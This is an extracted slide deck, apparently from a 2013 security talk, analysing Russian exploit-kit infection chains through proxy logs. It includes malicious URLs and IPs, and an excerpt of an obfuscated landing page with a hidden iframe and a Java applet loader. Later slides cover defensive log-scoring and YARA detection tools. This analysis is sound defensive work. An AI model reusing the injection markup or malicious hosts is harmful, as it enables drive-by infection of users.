GET;http://ctgwllr.changeip.name/uqrojdt/2;HTTP/1.1 37.10.104.72 200 442http://www.english-
shoes.ru/products/41/

Mozilla/4.0;
(compatible;;MSIE
;7.0;;Windows;NT;
6.1)

text/html

GET;http://qxcrr-xerox.janitorbe.biz/stranger-constructing-
restoring.html;HTTP/1.1

31.7.184.194 200 1578
3

http://ctgwllr.changeip.
name/uqrojdt/2

Mozilla/4.0;
(compatible;;MSIE
;7.0;;Windows;NT;
6.1)

text/html

GET;http://qxcrr-
xerox.janitorbe.biz/a544444444ZZZZZZZZwwwwwww/9d2
0Z7eQ7QeQe/citizen.php5;HTTP/1.1

31.7.184.194 200 466http://qxcrr-
xerox.janitorbe.biz/stra
nger-constructing-
restoring.html

Mozilla/4.0;
(compatible;;MSIE
;7.0;;Windows;NT;
6.1)

text/html

GET;http://qxcrr-
xerox.janitorbe.biz/7ll05ywogDrmqqQeZrZwDGooerrraQq/9
01212121255;HTTP/1.1

31.7.184.194 200 1001http://qxcrr-
xerox.janitorbe.biz/a54
4444444ZZZZZZZZww
wwwww/9d20Z7eQ7Qe
Qe/citizen.php5

Mozilla/4.0;
(compatible;;MSIE
;7.0;;Windows;NT;
6.1)

text/html

GET;http://qxcrr-
xerox.janitorbe.biz/7ll05ywogDrmqqQeZrZwDGooerrraQq/t
ext.jar;HTTP/1.1

31.7.184.194 200 8772 Mozilla/4.0;
(Windows;7;6.1);J
ava/1.7.0_07

application/
x-jar

GET;http://qxcrr-
xerox.janitorbe.biz/7ll05ywogDrmqqQeZrZwDGooerrraQq/0
256000045/6799928;HTTP/1.1

31.7.184.194 200 8636
4

Mozilla/4.0;
(Windows;7;6.1);J
ava/1.7.0_07

application/j
ava-archive
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0-Days in EK

1/14/2013 
18:57

178.238.141.19 http://machete0-yhis.me/ 
pictures/demos/OAggq

application/x-java-archive

1/14/2013 
18:57

178.238.141.19 http://machete0-
yhis.me/pictures/demos/OAggq

application/x-java-archive

1/14/2013 
18:57

178.238.141.19 http://loretaa0-
shot.co/careers.php?
cert=561&usage=392&watch=4&
proxy=49&ipod=171&shim=344&
pets=433&icons=252&staff=621&
refer=345

application/octet-stream
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And AV vendor says...

23.01.13 19:56  Detected: Trojan-Spy.Win32.Zbot.aymr      
C:/Documents and Settings/user1/Application Data/ 
Sun/Java/Deployment/cache/6.0/27/4169865b-641d53c9/UPX                   

23.01.13 19:56   Detected: Trojan-Downloader.Java.OpenConnection.ck    
C:/Documents and Settings/user1/Application Data/ 
Sun/Java/Deployment/cache/6.0/48/38388f30-4a676b87/bpac/b.class             

                 
23.01.13 19:56   Detected: Trojan-Downloader.Java.OpenConnection.cs     

C:/Documents and Settings/user1/Application 
Data/Sun/Java/Deployment/cache/6.0/48/38388f30-4a676b87/ot/pizdi.class    

                        
23.01.13 19:58   Detected: HEUR:Exploit.Java.CVE-2013-0422.gen   

C:/Documents and Settings/user1/Local Settings/ 
Temp/jar_cache3538799837370652468.tmp  
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11.03.2013 
11:28

hxxp://cliga.ru/jwplayer2/med.p
hp

146.185.255.66 80 hxxp://gankas.tk/meto.cgi?2

11.03.2013 
11:28

hxxp://gankas.tk/foto.cgi?3 146.185.255.66 80 hxxp://gankas.tk/fqmg.cgi?
3&pfvqt=1&fhjxm=1&orxgz=3212185938
&ur=1&hxxp_REFERER=hxxp%3A%2F
%2Fcliga.ru%2Fjwplayer2%2Fmed.php

11.03.2013 
11:28

hxxp://gankas.tk/meto.cgi?2 146.185.255.66 80 hxxp://gankas.tk/xgvihoiz.cgi?
2&pfvqt=1&fhjxm=1&orxgz=3212185938
&ur=1&hxxp_REFERER=hxxp%3A%2F
%2Fcliga.ru%2Fjwplayer2%2Fmed.php

11.03.2013 
11:29

hxxp://gankas.tk/fqmg.cgi?
3&pfvqt=1&fhjxm=1&orxgz=32
12185938&ur=1&hxxp_REFE
RER=hxxp%3A%2F
%2Fcliga.ru
%2Fjwplayer2%2Fmed.php

37.139.51.123 80 hxxp://oaandpcy.whose.plan-
zgdrtillfts.biz/recipe-
ayatollah_aliases.htm

11.03.2013 
11:29

hxxp://gankas.tk/xgvihoiz.cgi?
2&pfvqt=1&fhjxm=1&orxgz=32
12185938&ur=1&hxxp_REFE
RER=hxxp%3A%2F
%2Fcliga.ru
%2Fjwplayer2%2Fmed.php

5.135.28.208 90 hxxp://careliquor.biz:90/forum/animal.php

TDS and redundancy mechanisms
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Typical URLs (Fileless bot) 
12/7/2012 13:17hxxp://www.vesti.ru206.225.27.11hxxp://iprintlistmaking.pro/7GIC

12/13/2012 14:04hxxp://www.vesti.ru85.17.92.146hxxp://validfacts.info/ISOQ

1/24/2013 14:38hxxp://www.vesti.ru64.79.67.220hxxp://zagglassers.info/ISOQ

2013-03-01 
15:05:59.013

hxxp://newsru.com208.110.73.75hxxp://erasads.info/XZAH

NOW

[14/Oct/2013:13:
37:13

hxxp://tks.ru67.196.85.216hxxp://fliproyalsnow.info/indexm.htm
l

[14/Oct/2013:13:
37:17

67.196.85.216hxxp://fliproyalsnow.info/054RIwj

[14/Oct/2013:13:
37:35

67.196.85.216hxxp://fliproyalsnow.info/154RIwj

Oops p0wned



  

CatchME: Entropy 
everywhere!

● div 
style="position:absolute;left:1000px;top
:-1280px;">

● <iframe 
src="http://fortinetdonation.info/indexm
.html">

● <html lang="en" dir="ltr">
● <head>
● <meta content="Careers: Take your career to new 

heights with little help from the experts. From getting 
ahead, to honing effective work habits, to getting 
along better with your boss, our career." 
name="description">

● ************** snip  ******************
● <meta content="7+ GB of storage, less spam, and 

mobile access. Gmail is email that's intuitive, efficient, 
and useful. And maybe even fun." 
name="description">

● <link href="//mail.google.com/favicon.ico" 
type="image/ico" rel="icon">

● <style type="text/css">
● <title> Gmail: Email from Windows </title>
● <meta content="High-end mechanical keyboard 

providing outstanding tactile feedback. If you like the , 
is for you. Pure typing joy defined." 
name="description">

● <meta content="mechanical keyboard, bank 
keyboard, programer keyboard, geek keyboard, high 
quality keyboard, cherry, mx module, mx keys switch, 
mx blue key switch, mx brown key swith, mx black 
key switche, clicky keyboard, geek elite high quality 
pc keyboard, mechanical keyswitch, mechanical key 
switch, clicky keyboard, quality, USB, geek, tactile 
keyboard, geek gift, geek chic, nerd gift" 
name="keywords">

● <script>
● </head>
● <body class="normal" cosmic="force" onload="netti()" 

style="background: #fff; font-face: sans-serif">

● <div id="duquiddiv"></div>
● <a class="motivator" 
name="top"></a>

● <div 
style="display:block;width:1px;h
eight:1px;overflow:hidden;">

● <applet archive="/054RIwj" 
code="NVInfo.class">

● <p class="visual"></p>
● <p></p>
● <div 
style="display:block;width:1px;h
eight:1px;overflow:hidden;">

● <div id="d2">&nbsp;</div>
● <div id="d1">&nbsp;</div>
● <input id="Vbnasahjk" class="xols" type="hidden" 

value="3">
● Firefox is having trouble recovering your windows 

and tabs. This is usually caused by a recently opened 
web page. It ignores all other errors that may be 
present in your source program.

● <input id="smechanicalfd" class="test" type="hidden" 
value="i\h_" vgbgfd="">

● ************** snip  ******************
● <input id="amechanicalnaeje" class="test" 

type="hidden" value="\gfe" kgbtksbhsd="">
● GZIP js &amp; css 12 Aug 2010 ... GZIP js &amp; 

css. In the results of webpagetest the results of 
gzip ... But Windows Webmaster tools say, that I 
should gzip js and css also. ... 
www.webpagetest.org/forums/showthread.php?
tid=333 - Cached Compress JavaScript with Gzip | 
Ajax Tutorial 7 Nov 2008 ... The main problem when 
we are using ajax framework is because of their big 
size. Of course, it will extremely slow down the sites 
load time. tutorialajax.com/compress-javascript-with-
gzip.html - Cached - Similar

● <input id="amechanical1564" class="test" 
type="hidden" value="[a]Z" kgbtksbhsd="">

● rawtest Email: vision4developmental@gmail.com, 
vision4developmentuganda@gmail.com. Website: 
www.rawtest.cfsites.org / www.rawtest.org. THANK 
YOU FOR VISITING OUR WEBSITE . 
www.rawtest.cfsites.org/ - Cached Vision For 
Sustainable Development-Uganda - rawtest Team 
Email: 
vision4developmental@gmail.com,vision4developme
ntuganda@gmail.com ... 
rawtest.cfsites.org/custom.php?pageid=22009 - 
Cached Show more results from cfsites.org rawtest - 
Definition by AcronymFinder Acronym Finder: 
Definition of rawtest. What does rawtest stand for? 
www.acronymfinder.com/rawtest.html Verein f?r 
Soziale Dienste in Bergneustadt eV - [ Translate this 
page ] Auch in diesem Jahr sammelt der Verein f?r 
soziale Dienste e.V. wieder kostenlos ... 02261 / 
41810 oder kindergarten(at)rawtest.de. Das Team 
des Kindergartens ... www.rawtest.de/ - Cached - 
Similar

● <input id="amechanicalbwgszaw" class="test" 
type="hidden" value="\`dZ" kgbtksbhsd="">

● SR 748.132.1 Verordnung vom 18. Dezember 1995 ?
ber den ... - [ Translate this page ] Dezember 1995 ?
ber den Flugsicherungsdienst (rawtest). Abk?rzung. 
rawtest. Datum. 18. Dezember 1995. Inkrafttreten. 1. 
Januar 1996. Fundstelle. AS 1996 595 ... 
www.admin.ch/ch/d/sr/c748_132_1.html - Cached - 
Similar rawtest - offers from rawtest china 
manufacturers, suppliers, exporters ... rawtest 
manufacturers directory - over 2000000 registered 
importers and exporters. rawtest manufacturers, 
rawtest suppliers, rawtest wholesalers, exporters, 
sellers, ... www.tradevv.com/vs-rawtest/ - Cached 
YouTube - rawtest 14 May 2008 ... Added to 
queuehbchsd rawtestby nnolocommparto111 views ? 
0:04. Add to. Added to queuerawtestby 
leandroeisabella92 views ? 7:48. Add to ... 
il.youtube.com/watch?v=fHsVP5ptpqA - Cached 
Wilkommen beim rawtest Duisburg - [ Translate this 
page ] Verein f?r Sanit?tsdienste Duisburg e.V.. 
rawtest e.V.. Willkommen beim. rawtest_Logo_ani. 
Aktuell: K?lte in Duisburg. Aktivit?ten. Duisburg 
Bahnhof: ... rawtestsandienst.vf.funpic.de/index.html - 
Cached

● <input id="amechanicalbds56" class="test" 
type="hidden" value="gcZ]" kgbtksbhsd="">

● rawtest - Vessel File Steering System Detail (US 
Coast Guard) Acronym Finder: rawtest stands for 
Vessel File Steering System Detail (US Coast Guard) 
www.acronymfinder.com/Vessel-File-Steering-
System-Detail-(US-Coast- Guard)-(rawtest).html 
kerberos error : error, kerberos, message 20 Feb 
2007 ... I have 2 forests, msg.local and rawtest.local. 
There is a subdomain called exchange under 
rawtest.local. I try to set an outgoing trust from ... 
www.experts-
exchange.com/Software/Server.../Q_22400398.html - 
Cached Vision For Sustainable Development-Uganda 
- Partners rawtest has so far created up a networking 
strategy with other Ugandan based NGOs with their 
headquarters in Kawempe Division and a few in the 
boundaries of ... rawtest.cfsites.org/custom.php?
pageid=17571 - Cached Rwer rawtest | Facebook 
Rwer rawtest is on Facebook. Join Facebook to 
connect with Rwer rawtest and others you may know. 
Facebook gives people the power to share and 
makes the world more ... 
www.facebook.com/people/Rwer-
rawtest/1311396381 - Cached

● <input id="roxioa_d" type="hidden" 
value="1bqtKbrNLbqoF bqgFbpFmbrAk 
bshHbrhobhhibrhb brEJ">

● <input id="roxioa_u" type="hidden" 
value="0bjoGboiH">

● <script>
● <!-- detect JRE -->
● try{
● w
●



  

GET;http://dp1xjs.beneluxo.biz/ZGrc-v50Np_xa0u-
7e_x04Ma/90G9Uv0m1ka/02zG30/c6gC0h7ZI_0gGTh-
0F/mgR0XvTW/0q7GR/;HTTP/1.1

184.82.3.97 Mozilla/4.0;
(compatible;;MSIE;6.0)

text/html

GET;http://dp1xjs.beneluxo.biz/vDYdkx0Rr/qG0Wujp0rs-
Ay0NHcR0_Kh_d50pOIE0_HSk/z0j-lt9-0Gag815-KAH0vY-
AF0/drx_v17e270BVn/V0P8-
rU07p4t/0Y4EY0/Rwh_C0DaQ/V0NZA_U0AwL_I0dKiz1_2kPd0/5R2J0/M5WM0_gk7
4/0nTz1_0FHh80_hgLL0RYt/S0hJ_8T0eiGW-0yweq0IZWA0-FGrv0tPVK_0m-
LHK1/2Tmt0/f66P0N/scG0W4lf_0D7lw01_80X0/w4tL0-V6hA14I-
BK0_Z2HT_0cCL_x14Hp5_0dXGv0O_fBG0xGwJ-0p1l50E-L8E-0JQFU0ht_550QZkJ-
0p0hu/jvvn.html;HTTP/1.1

184.82.3.97 Mozilla/4.0;
(compatible;;MSIE;6.0)

text/html

GET;http://dp1xjs.beneluxo.biz/vDYdkx0Rr/qG0Wujp0rs-
Ay0NHcR0_Kh_d50pOIE0_HSk/z0j-lt9-0Gag815-KAH0vY-
AF0/drx_v17e270BVn/V0P8-
rU07p4t/0Y4EY0/Rwh_C0DaQ/V0NZA_U0AwL_I0dKiz1_2kPd0/5R2J0/M5WM0_gk7
4/0nTz1_0FHh80_hgLL0RYt/S0hJ_8T0eiGW-0yweq0IZWA0-FGrv0tPVK_0m-
LHK1/2Tmt0/f66P0N/scG0W4lf_0D7lw01_80X0/w4tL0-V6hA14I-
BK0_Z2HT_0cCL_x14Hp5_0dXGv0O_fBG0xGwJ-0p1l50E-L8E-0JQFU0ht_550QZkJ-
0p0hu/DNWKZ.jar;HTTP/1.1

184.82.3.97 Mozilla/4.0;
(Windows;2003;5.2);Ja
va/1.6.0_35

application/x-jar

GET;http://dp1xjs.beneluxo.biz/vDYdkx0Rr/qG0Wujp0rs-
Ay0NHcR0_Kh_d50pOIE0_HSk/z0j-lt9-0Gag815-KAH0vY-
AF0/drx_v17e270BVn/V0P8-
rU07p4t/0Y4EY0/Rwh_C0DaQ/V0NZA_U0AwL_I0dKiz1_2kPd0/5R2J0/M5WM0_gk7
4/0nTz1_0FHh80_hgLL0RYt/S0hJ_8T0eiGW-0yweq0IZWA0-FGrv0tPVK_0m-
LHK1/2Tmt0/f66P0N/scG0W4lf_0D7lw01_80X0/w4tL0-V6hA14I-
BK0_Z2HT_0cCL_x14Hp5_0dXGv0O_fBG0xGwJ-0p1l50E-L8E-0JQFU0ht_550QZkJ-
0p0hu/DNWKZ.jar;HTTP/1.1

184.82.3.97 Mozilla/4.0;
(Windows;2003;5.2);Ja
va/1.6.0_35

application/x-jar

GET;http://dp1xjs.beneluxo.biz/ZppAmN0-lMdl-11B_Dx0t_EDN02-
KxK0g/rKM0tkiH_0xIj609_f2M_0wmTj0_KMzg-16/4tg0VUem/0Bji5_0RdW-
b0HoTS0J_Bds0J52/f0gyFg_08L_IL0VvFI0It/aE0Gewm_05lK/K0o/xQs0v/rqN0-
0yHb/0b1C-G0ar7-F179c_W0PrqW0_9sG/a0CYI_T00af_C0p/sYc181D-T14-
uIy0Qn/nL/0Ya710/p4TM0-sUJF-0Nt_4M0u8-eh_0oqdR11_Ebn0WGqX-0dkTu1-21-
tH0iP/cJ0Oiwj0/3sK10/81fl0FEP_b00GDN0-4jAA/0YDzt0IGnf0f-kzd0aYS20_UjW-
500E/bb00x-00//BNHDi4RGJG.exe?dmaLsFUNl=0cdf0%26h=14;HTTP/1.1

184.82.3.97 Mozilla/4.0;
(Windows;2003;5.2);Jav
a/1.6.0_35

application/octet-
stream

Long Obfuscated URLs. 
Observation time: Oct 2013
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Not a typical chain, payload in jar, 
the same exploit

 pack feb 2013



  

TOOLS



  

Tools and protection

● Redis State watcher
● Log parser (logs)
● Passive HTTP
● Samples collector
● Samples analyzer
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Proxy logs at glance ideas

● Put possible network IOC from proxy logs to 
redis

● User agents all/by month/by day
● Map User agents to local IP_Login pairs
● Map IP_Login pairs to User agents
● Map Application types to Dates when 

observed
● Map External resources Domain_IP pairs to 

Dates when observed
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Proxy logs at glance example
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User-agent vulnerable clients 
monitoring
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User-agent request example, Why 
legit Win8 is here?
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Silent Debugging??
 Host, OS, more than other 20 params..

● Local host name HMS0277

X-Client/AppexWin8 X-Client-AppVersion/1.2.0.135  
09.08.2013 8:13  131.253.40.10   80  GET

●  http://g.bing.net/8SE/201?
MI=FED21F3944A344D38E5C61C00AC78AC3&AP=3&LV=1.2
.0.135&OS=W8&TE=1&TV=ts20130613214629143%7Ctz-
240%7Ctmru-ru
%7Ctc1%7Cdr8%252C0%7Caa1058%252F1%252C0%252F0
%7CdaHMS0277%7CorRU
%7Cwa1%7Cde4%7Cad1%252C0%7Ccd9%252C0%7Cdd0%
7Ctp20130505%7Cccrow
%7Cdc1%7Cpd1%252C0%7Cto4%7Clc1%252C0%252C0%25
2C0%7Cdb1
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User-agent anomaly monitoring
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Proxy logs processing
The ideas

see the code example in 
our git https://github.com/fygrave/ndf 

1. Take predefined patterns for log fields 
and calculate log line score. Depending on 
score write down line into colored 
(EB,B,W,EW,Gr) list for further investigation 
   (--list)
2. Find all lines with field matched specified 
pattern – smth. like egrep+cut\awk 

(--match)



107

General course of work 
(list search)
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General course of work 
(match search)
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The scenario

1. --list ==> Scored rows with signatures ==> 

Users in troubles

2. --match ==> Find all history about users in 

troubles – before and after signature ==> Further 

manual investigation

3. Update signatures if need to



  

Yara - based

Easy to integrate with your scripts

Integration with a proxy server is possible 
via icap yara plugin: 
https://github.com/fygrave/c_icap_yara 
(inline analysis)

Raw network traffic monitoring project 
(and http/DNS indexing):

https://github.com/fygrave/eyepkflow 
(passive HTTP)

https://github.com/fygrave/c_icap_yara
https://github.com/fygrave/eyepkflow
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Detecting typical fields inside 
payload

● For example (YARA):

Rule SploitMatcher {
strings:   
            $match01 = "com.class'"
            $match02 = "edu.class"
            $match03 = "net.class"

     $match04  = “security.class”
 condition:
         all of them
}

Problem: you can't deobfuscate javascript with Yara. But you can block the payload,
Which would be fetched by the javascript, thus break the exploitation chain.
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Or you can roll your own..
personal crawler with yara

and jsonunpack :)
 see the code example in 

our git https://github.com/fygrave/ndf 



  

Other cool YARA tools

Moloch https://github.com/aol/moloch

 Yara mail https://
github.com/kevthehermit/yaraMail

Yara pcap  https://
github.com/kevthehermit/YaraPcap

https://github.com/aol/moloch
https://github.com/aol/moloch
https://github.com/kevthehermit/yaraMail
https://github.com/kevthehermit/yaraMail
https://github.com/kevthehermit/YaraPcap
https://github.com/kevthehermit/YaraPcap


  

What we will see in 2014
● Android based platforms would be one of the primary 

targets

● Vendor supplied reputation filters won't be so effective, 
due the compromised legit domains pool size

● Commercially oriented cyber criminals will use non 
standard ports, abused hosting, DNS servers and short 
time frames as now in Russia.

● Cyber criminals will act outside the country of their 
residence (it's better for Russia, but only for Russia...)

● Defenders will use more and more own signatures, 
rules, tools and pills to survive.
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Roll your own..
To survive in this dangerous 

environment.

Forecast for 2014:



  

Conclusion

We've seen interesting techniques
We've seen that the 'low-hanging fruit' is not so 

low anymore :)



  

Now it is the time for questions
And throwing your shoes ;-)


